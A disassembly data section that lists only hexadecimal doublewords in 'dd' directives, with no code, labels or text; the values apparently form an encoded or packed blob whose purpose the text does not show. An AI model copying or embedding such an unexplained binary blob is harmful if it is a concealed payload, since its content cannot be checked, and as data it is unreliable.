		dd 0B08115EDh, 3CB00513h, 73701B48h, 7952BE2Eh,	0A55D8B04h
		dd 22A04081h, 0A632C9C3h, 0C2109Ch, 2C492976h, 3E00270Ch
		dd 30CBD781h, 0B0E4F611h, 6C410000h, 0F705F2D9h, 0A03AA85Bh
		dd 0D454809Ah, 9FA5715Ch, 0ABF00F2Ch, 7305101Ah, 7B702B5h
		dd 0CD403F7Bh, 49092CEh, 0AFD35A03h, 0F4DDCBCh,	0E11F5BE9h
		dd 0CC0ECA0Bh, 0C0F346E4h, 6B3102F1h, 728163Dh,	24F73297h
		dd 903E8EF0h, 8D38009Eh, 66755A56h, 53583509h, 34267CD4h
		dd 3C835C68h, 0E8D9C65Fh, 0A0593F2Dh, 2C314F3Ch, 47845D3Bh
		dd 67917055h, 0D03BEE2h, 8B415FEBh, 24C7A86Dh, 4CF300F4h
		dd 28E83B9Fh, 621DF0D6h, 0B022361h, 4B6B93BEh, 4103F950h
		dd 0FAC49834h, 74C6FC8Bh, 38A6E5E6h, 735180C4h,	6B3F904Bh
		dd 0BC9F9F50h, 7D19DD3Eh, 2698920Ch, 315960F2h,	9AC96B2Bh
		dd 4B93E08Fh, 161C910Fh, 2C0E3E69h, 2B299Bh, 0C4D2A55Ch
		dd 0B6700AF3h, 0EEE7C0h, 20613B66h, 411E2AEAh, 380F7C71h
		dd 6D8207Bh, 7EC1F95h, 686DE388h, 0F147C002h, 9300FCB7h
		dd 83CE89C1h, 7240F8h, 0AC615CBAh, 0A0158892h, 44E0A700h
		dd 0C654A9B8h, 0DE7D00FBh, 2AA10D96h, 0D300052Eh, 0CB35F211h
		dd 7CD11780h, 233000C8h, 796A3EC6h, 36B88BDFh, 0B978D61Ch
		dd 0C9E1B080h, 25BB49Bh, 9D67F043h, 98A1D725h, 0FC27C5BAh
		dd 4A0CDB51h, 8AB5941h,	1421C0E5h, 0DFFB27BDh, 0A9BA8A13h
		dd 6E6DBB00h, 0B853584Dh, 0E1F00C05h, 2518AD09h, 1339E660h
		dd 14615B5h, 39CAA426h,	0F092B203h, 0E374DB0Ch,	0DE12AB00h
		dd 24E8F4C4h, 0C1C70F4Eh, 98A0C22Bh, 0D0724359h, 4F1FE8B0h
		dd 0E90D2C37h, 0A0741867h, 7570013Ch, 0BA66B04Dh, 801ED3EDh
		dd 0DA069BC8h, 4491B3BDh, 0C2008DD3h, 0C095DE1Ah, 3155C5C6h
		dd 0C1C0424Ch, 5900DBFDh, 7564D87Ah, 0F61CF0FAh, 0CB0AC08Dh
		dd 0D227B321h, 60DAA631h, 7180B10Dh, 64FB529Ah,	0B80FA94Bh
		dd 8091F137h, 40327F85h, 0B1DB1FACh, 1E3B80C3h,	14A8185Ch
		dd 7B319100h, 546CF2E3h, 0E8440085h, 0A9784F01h, 75007340h
		dd 5A7650C8h, 0FC876C09h, 7BE3017Ah, 619BDD83h,	0B472D01Ah
		dd 7F1DE800h, 0AD11A3F9h, 99CF00E1h, 0A13E660Ah, 0AE0039EBh
		dd 165123B9h, 6D06DE5h,	3A044E30h, 0DC0019B0h, 42C9B533h
		dd 2017A418h, 3C001EF2h, 0C365D46Fh, 60756EBFh,	73DC30CCh
		dd 0D200F145h, 0AC80D89Dh, 72C8E3h, 0ADA93417h,	0C3085FFAh
		dd 2C3C3A50h, 0B8687503h, 0E277263Bh, 324B23BDh, 0AF8B62B0h
		dd 1491750Fh, 8ED2E13Bh, 0BBD5CAF9h, 6D2997h, 28D61646h
		dd 8100D1A1h, 3160D9D5h, 7B5122D4h, 81460B5h, 71645CB9h
		dd 6C6D2D00h, 629F4B3h,	0F23D07A0h, 131591B8h, 0C0AD73D1h
		dd 0A4B2AE4Ch, 6AD33F0Eh, 4ED24181h, 0F0A05838h, 19C76184h
		dd 892644B6h, 346A361h,	523EF9h, 30602310h, 0A650322Eh
		dd 8E784300h, 9629CBDDh, 68BD146Ch, 6139BB5Dh, 732E726h
		dd 10917037h, 1B88CA3Eh, 0EC315900h, 0FDE6CC30h, 0D4333060h
		dd 0A3795628h, 3FEDC701h, 8FB58E44h, 49620898h,	0A300A0B0h
		dd 5602EB49h, 18D1649Bh, 41361076h, 0CCF1D00Eh,	10C1D20Ah
		dd 826D3AEDh, 27E22880h, 90728691h, 0E3E9360Ch,	0F0743977h
		dd 0C08EF6A5h, 149B3A11h, 9A0613FCh, 72196473h,	21846008h
		dd 3C14A3CBh, 63401C00h, 33FAA6C9h, 0B0964490h,	7C04B67Eh
		dd 0C39DA726h, 0E9BF28C0h, 81DD6017h, 8AE3E897h, 0A9CBB88h
		dd 34BC9146h, 83A31148h, 91061499h, 7E0C72CAh, 620CD89h
		dd 1FB5FAE4h, 9C1EC0h, 0E678D1EAh, 9A1C32A3h, 0C9057D85h
		dd 8C0FE84Dh, 2D284036h, 3A949EEh, 0AA0AC31Fh, 50EFCF6Eh
		dd 63BFA199h, 47D428C0h, 37AF3C5h, 0D35274F1h, 830CCE8h
		dd 0C024213Eh, 474403F3h, 909E3CABh, 0FC671903h, 0E0A129EAh
		dd 0D8CC19h, 0ED243CE6h, 90F05898h, 2C299461h, 9EEC9565h
		dd 0D39C1D2Dh, 6798012h, 588ED916h, 0E8707C00h,	1952D668h
		dd 3F0C000Fh, 67B24831h, 71C06E6Ch, 0A722EDE8h,	0B33A0AD2h
		dd 74EC4D13h, 8D008546h, 6E44051Bh, 2B050932h, 0E64D843Dh
		dd 0C60E9C40h, 0EE6C22DDh, 7A9B00DEh, 0A926FE87h, 6E1E15F4h
		dd 0DF5F5758h, 0AE160D80h, 7EC1Ah, 9071D4A5h, 0A0A165D0h
		dd 22403748h, 0F50B045Ah, 40928FDEh, 1BFB94BAh,	0DAAE0287h
		dd 89C92550h, 0A1F91C4Bh, 9A52CC61h, 9309965h, 3F23D82Fh
		dd 1B327E00h, 0E9500Fh,	5EE6A045h, 69A6EB96h, 18A19CA1h
		dd 8143997h, 0B172BA10h, 6AF89FCFh, 0AB0D0E24h,	0A1E2FCD7h
		dd 0C0403895h, 50803011h, 844D201Dh, 0B2C3305h,	5C209F99h
		dd 2378F3C7h, 3A11E4F1h, 0F3C22E00h, 0D7DA0D8h,	7FEBFE02h
		dd 89EFE8A3h, 12BA7C54h, 54180241h, 306090A9h, 4866138h
		dd 0EDC4A36Eh, 205B62A7h
		dd 63A37675h, 8C03DB00h, 0BCDAFA3Ch, 6B01189Ch,	0F4E65845h
		dd 70988DFCh, 377D1900h, 0E8EBCE2Bh, 89DB67E4h,	77C3817Ah
		dd 9A11800Eh, 0D5ED6A95h, 6DE407A8h, 735E9B20h,	48288C9Fh
		dd 0B0C85012h, 0A37CC032h, 7746EDC6h, 73005D22h, 0A2D5A3A4h
		dd 571B35E1h, 207188EBh, 18126353h, 886E7382h, 51681F71h
		dd 50CE806Ch, 958C102Bh, 551A3100h, 1EF85D92h, 0ED9300E6h
		dd 3FA64C27h, 6A00E990h, 0D15FBC64h, 6B3DD1Fh, 0B19B6961h
		dd 8C0091AAh, 0D24D4CB7h, 268F58h, 3251E42Ch, 0E95F159Fh
		dd 0D78B0218h, 3717EC40h, 0A058A555h, 31F3E428h, 16C4C500h
		dd 0BC6849F6h, 0D0D5494Eh, 4DFA7400h, 2D345E9Ch, 2466327Bh
		dd 7A21E008h, 0B04E0192h, 0F5DE930h, 0A3442006h, 0F3C3048Ch
		dd 0CEC4F17Ch, 0BE220078h, 8F8789F3h, 0D6051E19h, 8331315h
		dd 0C4C7A49Ch, 0BCF179C1h, 21883918h, 0FBF300BBh, 0C26BF29h
		dd 0D01DD89Eh, 3FA1A4Dh, 0EB25A757h, 0A5A02313h, 6EF3B103h
		dd 3D62B4F1h, 0F3BC2820h, 9350016Bh, 40EBAE01h,	9464DE67h
		dd 0AD17EA09h, 0B34880BBh, 9037695Ah, 0DD6701D0h, 0D41D546Dh
		dd 9A4C2055h, 0B0ADC23Fh, 8E2188BEh, 102C9232h,	16B82B1h
		dd 994BD6Ah, 23F56DE0h,	180E3460h, 20499EF9h, 820A13E7h
		dd 2020A4A6h, 8C0D5170h, 0BC40734Ch, 40018C71h,	0EF05B0CCh
		dd 72D9B6F7h, 52266888h, 24A86C00h, 0EB0841h, 0E93196D6h
		dd 42DFC45Eh, 71890513h, 97954C0Fh, 1C3A4C12h, 6C005D23h
		dd 7BB89450h, 77BE2A8Bh, 32C01CB8h, 1E958072h, 6A59FC4h
		dd 71870100h, 650BFA8Eh, 17B21997h, 224A3064h, 30BBF268h
		dd 0CD01ECEEh, 75E75ADEh, 0EBE83B85h, 73911507h, 511F472h
		dd 8270622Ch, 33340068h, 0F228E196h, 6E2C9473h,	0BE05C7EBh
		dd 30958DD3h, 0F400406Eh, 0B1B59459h, 7D000664h, 8F992680h
		dd 7061E7h, 0FF61BEBh, 90753E08h, 21E0B8ADh, 0CC7B0h, 0BD6C9EABh
		dd 6DE233A0h, 362F1A00h, 13B148E7h, 160E3478h, 8FC0C059h
		dd 0E811B64Dh, 13058EEAh, 348FAE9h, 0BFA06680h,	99DB2802h
		dd 9367DCB1h, 763E4CCh,	5C5E97B8h, 0B8222E43h, 4DFF9100h
		dd 259482C8h, 28BFCC0h,	0E57DC7E1h, 0B0408F6Fh,	9B0BB570h
		dd 8E348C64h, 1380D508h, 320CD811h, 2CA0888Fh, 11309606h
		dd 0B0A132E7h, 0B76D0068h, 8FF8BE19h, 4CB19A1Fh, 85BB1121h
		dd 3C814DFBh, 58522CFCh, 339520E3h, 7704414Eh, 8B7D056Bh
		dd 6AED1C80h, 0D864015h, 0D0BE0C05h, 40C1B367h,	880F9A9Eh
		dd 0ABCFC03Ah, 550080AAh, 317885FEh, 0A913E1Bh,	6387ED7Eh
		dd 4D5D0390h, 380062F1h, 0F87DAF54h, 299968D3h,	59704CB0h
		dd 72C518B8h, 4FB601EFh, 0E935F168h, 480702Dh, 48ED5D24h
		dd 0B9193A60h, 36F91414h, 5203B462h, 8BB29AA8h,	0C0B09140h
		dd 806778Ch, 2D145E98h,	8E40BA64h, 0D1EA4DFEh, 0A8FF5D00h
		dd 0E9140FC5h, 3C3F48AAh, 0D579C09Ch, 0ABB19761h, 0A2346853h
		dd 0EBBC30DEh, 3A1E4F7Dh, 0B4BC0C62h, 0C88721D1h, 0FDF20267h
		dd 6E4041EFh, 5A787889h, 61C80C82h, 141D7500h, 13C4A08Eh
		dd 388649D9h, 90019C48h, 0D7733DAh, 48C28C9h, 2BB962EDh
		dd 651D1480h, 0F59B79B6h, 998FB01h, 3CE2F862h, 0F89930h
		dd 7571162Fh, 0FDDC4FFFh, 9AB96E62h, 328C41F6h,	0A2A27413h
		dd 9C0F1CCCh, 7213FB14h, 0CC00E4CBh, 94CB14A4h,	42077DD7h
		dd 0EB317963h, 69164D57h, 38564888h, 77963500h,	0E56B2E1Fh
		dd 0E1C0B614h, 0A2E9088Ch, 0B918004Fh, 0E5864019h, 53675804h
		dd 0A0CF9973h, 0A3CF3A88h, 0D834024Ch, 2A75FBC9h, 43A8A067h
		dd 0B83858FDh, 1C398C3Fh, 0DFA789DEh, 62700632h, 2EEBE4C1h
		dd 0BB0CD9FFh, 39995A08h, 31D0E702h, 57F88745h,	6AEB0278h
		dd 108095CDh, 0E77A46Fh, 0A2D42620h, 0C738A075h, 22EC4BCh
		dd 8451A0F4h, 7C604249h, 8F6CF6DBh, 1FD429D0h, 0A6F11FF0h
		dd 0ED4D0C3Ch, 94003B19h, 63F9E7F2h, 240CE9CDh,	8302C20h
		dd 70AE26Eh, 467C8899h,	0E2F6043Eh, 4C0FC01h, 98186BD0h
		dd 7FB124EBh, 0F092BDC0h, 0B818588Fh, 4013BAFCh, 0B43F7D4Dh
		dd 8C03B823h, 88900A73h, 4C561020h, 0A8484979h,	23482BD7h
		dd 8F803F40h, 9CE1DC88h, 0B7550181h, 0BB48F9ECh, 0D71D2829h
		dd 39FEF081h, 75BF1B68h, 0A3F2A821h, 43051394h,	0C0BE1F15h
		dd 97751B46h, 39121EFFh, 406CF4h, 9C0DE63Bh, 62D100E3h
		dd 0F0CF48F5h, 1098528Ch, 0DFB8F107h, 0A4B427ECh, 446C08B4h
		dd 0A13B2EB2h, 0B18B0431h, 102F44F2h, 8D84BF34h, 0EB12C6Fh
		dd 1D594796h, 31E8E14Dh, 88ED60h, 604E7908h, 3EB3F9DFh
		dd 2100DEE5h, 30F1235Ah, 5955FFAh, 0B1140846h, 67A04312h
		dd 0ECE1D781h, 450060A7h, 0BD46FCA6h, 994DFD02h, 0CC670C5Eh
		dd 4E359301h, 0A8437C8Ah, 76198EEBh, 0A90F3634h, 0F42C68B1h
		dd 15808023h, 7B36AD01h, 1D6C0970h, 18C56F28h, 465C9C2Ch
		dd 1834C60h, 0C0127A9h,	50F54D1Fh, 29087FCh, 0DA65D6FCh
		dd 8EC23A8Dh, 58EA9C00h, 0A688EC4Dh, 9DD900C5h,	77BD23C3h
		dd 8C301D54h, 0C19A9887h, 27E20BDDh, 0B44085ADh, 0CA014140h
		dd 11A86CA3h, 1864D033h, 8B212052h, 0C607EC0Bh,	37BC0009h
		dd 12B0FC25h, 90315AB3h, 775FDE58h, 0C4203353h,	8640D65h
		dd 7DC0318Ch, 46EDC3A3h, 5E229Fh, 0E4A3A574h, 8BD669E3h
		dd 0FF806099h, 0B7B9527Eh, 0B50F02ACh, 1F1351E1h, 0DE790851h
		dd 12F7E419h, 0D3FC6F00h, 6CF6139Bh, 8E7320F5h,	10947948h
		dd 9013C310h, 53C4393h,	4BE898B5h, 2C016273h, 0ED5E5535h
		dd 38A68957h, 839E117Ch, 91071498h, 7F0C72C2h, 0FCA0D088h
		dd 0DA7A12F4h, 594009F3h, 532FCCE0h, 0AC9C1D28h, 6801974Fh
		dd 86251FEAh, 9A791041h, 7099D806h, 5F1874F1h, 0FC707201h
		dd 1679B05h, 0B8206CE1h, 79AC914Dh, 0FE3019BBh,	84C83F94h
		dd 0B1319700h, 20160E3Ah, 0CBE190Ah, 7744948Fh,	0FA149D60h
		dd 11AA1323h, 0A5D91886h, 0C63A20h, 267F7815h, 0FC6EEF75h
		dd 7389FE0Ch, 413C6036h, 0CCE8008Dh, 2900BB94h,	9C9FE353h
		dd 0A17C42h, 0CF40AB88h, 0B2B8AE28h, 590D9D00h,	0FB29A520h
		dd 0E94A00EBh, 286D533Dh, 0BC00711Eh, 0A3115FB3h, 75AFFDh
		dd 6B01FC85h, 0C6D5270Eh, 17000372h, 4B1E7113h,	5A9445h
		dd 33344CCDh, 666299A6h, 0C0CC4203h, 0B8ADE5DEh, 685384h
		dd 0FC205B45h, 32FF1B0Ch, 2603EEE8h, 893F41D2h,	0E92AF329h
		dd 8984821h, 397721A5h,	5A7B3F00h, 0BD138453h, 0B5071FFEh
		dd 1D660C32h, 0F00C649h, 0AB9ED1CDh, 6FA809E8h,	21380873h
		dd 0CD00E6D9h, 2CC842E5h, 10F76A03h, 7E265D73h,	0A49E3C00h
		dd 0D30123E8h, 678900C9h, 49177C2h, 0AC0343BDh,	0FDD12D81h
		dd 0D6993F9Bh, 41191B00h, 1548B922h, 0D4691C0Ch, 77642031h
		dd 5DC8033Eh, 3824A220h, 542145E8h, 84F73628h, 347687E6h
		dd 5A0AA30Ch, 0CE4887Fh, 0FE74D125h, 90000E99h,	928943F3h
		dd 3A7108D6h, 1518D5DAh, 97B12027h, 0BDC8F300h,	0EAA386FAh
		dd 3F60052h, 0FBB660E0h, 3860CCEDh, 762A32B1h, 0A17E0533h
		dd 22A3677Ch, 10303AA4h, 9ED211CDh, 87CB8803h, 70CDE7E0h
		dd 57EF1E9Fh, 0DCA160C1h, 2842D8A6h, 0CD19303Bh, 0DBA01711h
		dd 0E0ACC388h, 0B2E0CD00h, 32C108Eh, 0BB2A7E80h, 581032B3h
		dd 9E00C916h, 873D75EFh, 0E6006EB4h, 4150CCA4h,	7C5D4Bh
		dd 6FB02747h
		dd 0C80FE3BEh, 3A39D200h, 0B96DEF83h, 720401ABh, 9E48906Ch
		dd 58D8C860h, 0A1F49F03h, 0A021E3FCh, 786FF8Fh,	290C7B89h
		dd 0DA60EFCEh, 0EAE5FB2Ah, 0D9208C00h, 46E0D60Eh, 0EC440090h
		dd 0E764BCF9h, 1475FF61h, 78C2AA00h, 6B7FB70Bh,	393701CEh
		dd 768A4AE3h, 8CA1F079h, 0C74F7800h, 0C8EC926h,	9CEA01BCh
		dd 0AD24FB9Bh, 0F833D8CEh, 0E8F31801h, 522E618Fh, 87423880h
		dd 98B8C3EAh, 99EE2000h, 0F337017Ah, 0C4892004h, 0FE2FF01Ch
		dd 251E8683h, 0DF2000AAh, 0D506B4EEh, 0B20005A3h, 501A09CFh
		dd 987D2073h, 18776037h, 0F211A4B7h, 6F56F8E1h,	14C358h
		dd 0CA0B9D81h, 3625B48h, 0FA601BE5h, 0F9C8B10Fh, 0BC00CC78h
		dd 2B678652h, 0EB1018h,	0B3ABB1Dh, 4D2FC841h, 0FAC9BF05h
		dd 80419BB5h, 0C3FD24F3h, 0A668B08Ah, 19848098h, 51E01E38h
		dd 7D5EAE60h, 0C730B4C0h, 10E9B040h, 0B28CD2CFh, 4483A700h
		dd 25103A1Ch, 639D3C7Dh, 0BF9600F8h, 1FEBB30Fh,	29C3F88Ch
		dd 0B0159082h, 0E1CB8C7h, 0F69D6B98h, 99D27220h, 2A0633BCh
		dd 0AB6EEBB5h, 6FB40330h, 0BD58603h, 2C8E1000h,	5376FAAEh
		dd 55E100F8h, 6850832h,	8C00198Fh, 123C4070h, 0F7A8DFAh
		dd 21B9A0B6h, 78413101h, 1D1883F9h, 19F70EBh, 0AE39ED61h
		dd 0E4040CFFh, 0EA0C5F9Bh, 218DFCE0h, 0DB6F00BFh, 702CF1AEh
		dd 1900B63Eh, 7982ABC5h, 90EE1A47h, 2D223D6Bh, 48467076h
		dd 8F0100E6h, 72B1173Dh, 0C2B9CC11h, 33429800h,	5BEB23AAh
		dd 0F7100FD9h, 40211E8Ah, 808E28B3h, 0A10EA770h, 0C991C71h
		dd 88846942h, 0B11C8A19h, 5B8EAA7Ah, 0C00381FBh, 45607221h
		dd 681D071Bh, 0F0AF8579h, 0D5713F29h, 3F4F0C3Ah, 0E64480F0h
		dd 3159F9EFh, 0D9AE00BAh, 84E017CFh, 0B40C6C67h, 182170D4h
		dd 336D1C59h, 0B2EA4095h, 0C276089Fh, 693273Ch,	1B3CFC9Eh
		dd 0BB700C28h, 0CC6128A9h, 0C2530403h, 0F0FFD72Ah, 3055859h
		dd 0EBC0D9ABh, 0BDA93189h, 0F1A620BAh, 0BB4F1B0Ch, 442828ECh
		dd 0AA043D03h, 0BAC2EBA7h, 0B23A1A80h, 0EA9201E3h, 6BCF0F06h
		dd 1CD1A176h, 19F0989Fh, 35A1FDBh, 94315F6Dh, 98216BEAh
		dd 74B20359h, 0C077BC90h, 21D0AC70h, 40DFA85Ch,	3E00D2EFh
		dd 5D4201Dh, 60D5ECAh, 690F0EF9h, 710020F7h, 0BECFDB30h
		dd 506402F0h, 11290F5h,	9187B635h, 84E79988h, 9A50EB1h
		dd 9DFD1780h, 21590074h, 235B3FC1h, 1C63BF48h, 3B89928h
		dd 1BB64A31h, 0DCE0AF78h, 12602572h, 4916CF18h,	17DB1F09h
		dd 6403C6D8h, 5D00798Eh, 0DF6DD2B1h, 50D54508h,	20D1A07Fh
		dd 59150E11h, 7984875h,	0D33389F3h, 0AE9C3B60h,	9E150025h
		dd 297EBF8h, 180CB8B4h,	794B6CDCh, 9B091481h, 2322240Bh
		dd 2A2E600h, 485EBA92h,	504BE272h, 97DECD1h, 1623FE70h
		dd 0EB2F1C20h, 5801D6B6h, 0D0B8CBD4h, 0E3D0CCC3h, 5520C170h
		dd 0F01DB6D2h, 0A305395Eh, 7279747Eh, 70C79883h, 1244351h
		dd 58D4B819h, 2A0CCCC4h, 0C08F21C0h, 7A6BAB7h, 0D2043F70h
		dd 0FCA9F13Dh, 13508AA0h, 5832F4E8h, 0DF5490FAh, 58D214B6h
		dd 2D882C74h, 0B6E71980h, 5058ECDEh, 18D3A4DBh,	0C9DA80BAh
		dd 2E0EB240h, 0A7D6E50Ch, 0BEC2E0A9h, 0CAD044BAh, 40640370h
		dd 58D3B6ECh, 91CD0C21h, 0D41A0028h, 800E8EB6h,	7E3F0F23h
		dd 0D7699A7Fh, 740C9800h, 7490CBD8h, 9E3A8B1Ch,	0A502E0A4h
		dd 4497D34Fh, 6DFB0328h, 24850F43h, 539CEDF0h, 1362A474h
		dd 6125DD21h, 8CF0FC4Eh, 0E5263076h, 0EDB85DD1h, 0DCFF060Eh
		dd 1166E0D1h, 997F50h, 443F47ABh, 273B6F1Fh, 0C623D01h
		dd 0E4C2B55Eh, 0CB838045h, 0BE7AEB12h, 3CBB010h, 3634F1FBh
		dd 0FED88631h, 0FCFAAB53h, 9AF9A600h, 55FD07F2h, 425D00BFh
		dd 2E0C2071h, 0E20E89B6h, 0E2947C23h, 0E0C59B92h, 0BC8E86h
		dd 0D9FD6156h, 0DC27DA6Fh, 2BB3B203h, 984E97EAh, 70416542h
		dd 4D60001Ah, 1B7C4452h, 4500A932h, 7283365Eh, 0FF3034h
		dd 0FEAC1DE1h, 0F47F3C8Ch, 16529A03h, 0A049B7B0h, 591063h
		dd 0A12EA0ACh, 33D487AAh, 3188523Ah, 0A53621FCh, 3C6B570h
		dd 3518A4D1h, 3ED09E23h, 2718637Ch, 0F92814BEh,	96590076h
		dd 0B347E736h, 1F63DF3Eh, 0F646A08h, 96219920h,	4D858340h
		dd 0E3000CD2h, 135C7540h, 14652364h, 4CB2BD66h,	95D22200h
		dd 0B10452B7h, 0A4020B71h, 62468524h, 31E0DF9Ah, 16295310h
		dd 0B30768B5h, 8222F1A0h, 172B1880h, 0FCB07F80h, 221601DCh
		dd 214B240Dh, 64F8E4E6h, 48A8666Ch, 3979003Ah, 0CB1729B0h
		dd 78B505C6h, 69100C66h, 83295FFEh, 0AA0B2803h,	932A131Ah
		dd 990930E2h, 0ADF2321h, 4B0154FAh, 968F2B03h, 88505BC1h
		dd 3EDE6620h, 64581240h, 346CAD01h, 52624179h, 0B130B3D4h
		dd 0A1273EA0h, 0F79188A1h, 9DA63901h, 40DF8E79h, 968C3B94h
		dd 1AD73A00h, 11F63D4Dh, 1607076h, 0B61B6670h, 0D017D6FBh
		dd 75017856h, 0E622B3F2h, 0A8C8FA04h, 5BB10044h, 2ADDB406h
		dd 57004C98h, 0B0DABB6Ah, 3C60BC65h, 0B900F816h, 0FCAFC339h
		dd 660036A2h, 8C3191BAh, 48580FEFh, 770760F0h, 20FC5F44h
		dd 0DDA91F56h, 0E311CD00h, 5B39B206h, 85DF0066h, 516F4B3Ah
		dd 700E63Ch, 0B368874Eh, 2CFE9BF6h, 0EDD5ABh, 7809AE37h
		dd 24020C54h, 77B0E8FBh, 0C1CB4032h, 99593D48h,	1F69680h
		dd 0D13F4CDCh, 801B1E3Eh, 0A8D328D5h, 7E6E4Ah, 0FB18F2E0h
		dd 67B2A33Ah, 0D6B51500h, 5C9789FEh, 6C3F8FCh, 0D2287B56h
		dd 96211868h, 0E1948842h, 48313E44h, 866A08AFh,	6971B811h
		dd 0DE766622h, 30D5A430h, 0E9E01A37h, 61421301h, 0C5FBD0EAh
		dd 0DA5F1100h, 63CE4636h, 6020C037h, 2394CA85h,	85A150C8h
		dd 0F25A98h, 155C9F1Ch,	0B13C9B02h, 6F921E77h, 670E121Eh
		dd 0E00F037Bh, 10711E73h, 0D920A14h, 8491E08h, 988FE4DFh
		dd 0D19980FEh, 0C141DBBh, 65F83954h, 0F639DC79h, 0B2C8E386h
		dd 807CC8h, 0FD79FF4Ah,	0C642241Ah, 0D18C160h, 0DEE59B6Ch
		dd 55042959h, 6307DFC1h, 0CE7BA841h, 0E0C451DCh, 0F5DE00C8h
		dd 0A8B3C313h, 77FAFE6Bh, 39503403h, 79DD857Bh,	77E08429h
		dd 40FF9388h, 12F97D4Fh, 0F22A11A0h, 0B8217F24h, 10AC12C6h
		dd 0BB896EF7h, 982127CEh, 0F300B891h, 4B8B7F56h, 0C100B583h
		dd 0F9AEC5E0h, 38DF8D9h, 962B6E6Ch, 0BCE30CA5h,	7046C78Fh
		dd 638265FFh, 0BD1F7300h, 0FDE2B41Eh, 9718009Bh, 0BA029032h
		dd 49068DEDh, 0BD82D10Bh, 5857791Ch, 0DC1E24DAh, 2A030047h
		dd 68155524h, 0E103BA7Dh, 5C95DF1Ch, 0E869C88Fh, 0E74B2639h
		dd 0A67C1CBEh, 0D2420042h, 827DA851h, 0C072200Eh, 262EAC50h
		dd 4736001Ch, 0DE3966D0h, 0AE15C705h, 0D434DAh,	415C5EA2h
		dd 38DCE612h, 0E980FA35h, 0CF0F096Dh, 0EE70941Bh, 0E5889F0Ch
		dd 349008h, 0E3626BFFh,	0B2C2B65Ch, 407B4100h, 0DBA10BFBh
		dd 4194820h, 9963CF00h,	73F83C78h, 0E971FF00h, 0DB4EEDAAh
		dd 0EAA63FE1h, 0B06C1681h, 0C42D112Eh, 7C0017E4h, 0FDDAC1D3h
		dd 253F26A8h, 0F0F4B26Ch, 1C32D900h, 17650BFh, 99E2EAF0h
		dd 6162225Ch, 0ED18F007h, 2D1BC10Ch, 9DF189Ch, 4690DBC8h
		dd 78431A83h, 0D39F54C8h, 8006883Ch, 1B1C3384h,	79FC8136h
		dd 0E6463817h, 0FAA8180Fh, 723CBE00h, 8DB8B1CDh, 0BC3F5500h
		dd 0E35280Dh, 0AB24002Dh, 0C4A3B65Dh, 0A477AADAh, 70DC912Fh
		dd 12E10000h, 4B812CD8h
		dd 0F2010E95h, 5A3A3D0Ch, 0D73023C6h, 0FA7400E8h, 0D5582C83h
		dd 1C0F4BB1h, 2095FB14h, 0C3D4088Fh, 2C514CFh, 4400C0D8h
		dd 34F540CAh, 7500B47Fh, 0D017F0DAh, 4A2A1Bh, 88EA592Eh
		dd 0C17DFC54h, 44000770h, 3373579Dh, 17ECA2h, 0B9FA3F47h
		dd 7EEF6CB0h, 9E79512h,	609C3000h, 3CEDE5BDh, 0C1018F16h
		dd 0E6B3EC32h, 0FCD7D0BFh, 79986B90h, 0A22DC728h, 0BED92C03h
		dd 9043F5F6h, 6A0DE6h, 8522AB2Fh, 2163AEEFh, 0E81ED900h
		dd 0FFE4E028h, 0F8AF020Fh, 4B2D4346h, 1E40C18Fh, 0E9D8F277h
		dd 49559h, 59558BFDh, 0F53173h,	71EF3CAEh, 0F225672Dh
		dd 4A03B902h, 8F2228F1h, 692E0F1h, 38CDC2BAh, 4200B4FDh
		dd 5750F43Dh, 0CC00B0CBh, 0C80D0F0Ch, 82BD1Dh, 1E35AF6Ch
		dd 0D637B666h, 23D42F00h, 155B1A22h, 0F78600F5h, 362AE81Bh
		dd 0AE0B5A2Dh, 0DD6E0D4Ch, 34469000h, 320040DBh, 2E27A7F5h
		dd 38184416h, 0BA9F107Dh, 0E277C057h, 6F0AB336h, 59A22603h
		dd 0E5D3BBAEh, 15626FC0h, 0F1EB01F7h, 0CD1D6908h, 0C3C8C7DFh
		dd 437CBFEEh, 84455828h, 0CC153300h, 0F244674Ah, 0AC115081h
		dd 0B81A00BBh, 0EBAD36CFh, 593E64AAh, 197A0005h, 0A6BDE206h
		dd 33A00441h, 0D05F7E62h, 0D7D2CD44h, 40947126h, 7DEAD03h
		dd 980A8B0Eh, 2A3448CBh, 7BC0B3Ah, 1EDF9786h, 0B43B209Bh
		dd 0B4A06DF4h, 0C412282Dh, 1800B915h, 0C8679916h, 922B807h
		dd 5395F40Eh, 4FC13C83h, 90870DB0h, 0F5762F00h,	7CB2D44h
		dd 9F8D1485h, 6908F8FFh, 78003AE6h, 0E3F6C773h,	11560433h
		dd 0C0C610ADh, 5C5F634Ch, 230C23Ah, 26D81E9Eh, 55CC4077h
		dd 0A1E4003Ch, 0BE86C714h, 13DDCF1h, 234780B1h,	88021C1h
		dd 39F70029h, 5924E4E3h, 13715E4Ah, 75968603h, 0A8293C25h
		dd 125B5C79h, 74D2DE2h,	0B0836C4Ch, 0E172924Bh,	8F99B300h
		dd 508D1EC8h, 0BAA0005Eh, 3A74BB98h, 0A004EC9h,	40A3E4B9h
		dd 0CA25BCh, 604726B3h,	848597E6h, 900E574h, 33BE0F9Bh
		dd 3C3DB0Dh, 0F96D5789h, 30DBFBB7h, 0E4222689h,	7078065h
		dd 9A186F2Bh, 0B825C453h, 39EBA2EFh, 0C000CACDh, 852D7C41h
		dd 43002313h, 98665376h, 0FA049220h, 813A0340h,	0A9117B58h
		dd 0CA2BD990h, 0F3856E00h, 0ECC088B7h, 1C20002Fh, 812A9B3Bh
		dd 5E3A048Ah, 4B310E18h, 8892E0E0h, 9BDA419h, 4D5506ADh
		dd 0DB6220A0h, 5E033597h, 0A7038B17h, 0B0C095CEh, 3AF0502Fh
		dd 5A00D58Dh, 936221FCh, 1F0083B1h, 0EAFDD909h,	0F4A7012Ah
		dd 0AB1D0022h, 88BBEE4h, 92384020h, 94232C63h, 56659C00h
		dd 0ADFED73h, 9AA3E3F0h, 0F2733DF5h, 9D430089h,	418CD70Ch
		dd 1600C3D9h, 0E98FCBC9h, 0A372F16Fh, 3D209F82h, 66FE7Bh
		dd 4A689430h, 0E2D72F55h, 10DDA400h, 57A1543Ah,	3010462h
		dd 8040E12Eh, 41D9B44h,	0CBB39302h, 40E8D14Ch, 0E0A20262h
		dd 0D67407A6h, 57AD4DF3h, 0A1C570BDh, 7737C8Eh,	3B3ACA0Fh
		dd 7BF64027h, 95405EAh,	0A7794060h, 0A5B5B800h,	2401C151h
		dd 589DAAFCh, 5F306353h, 5D0300A8h, 0F70CBCAEh,	6E1DF269h
		dd 304034EDh, 567247Dh,	772C056Dh, 90FB6FB9h, 815C8510h
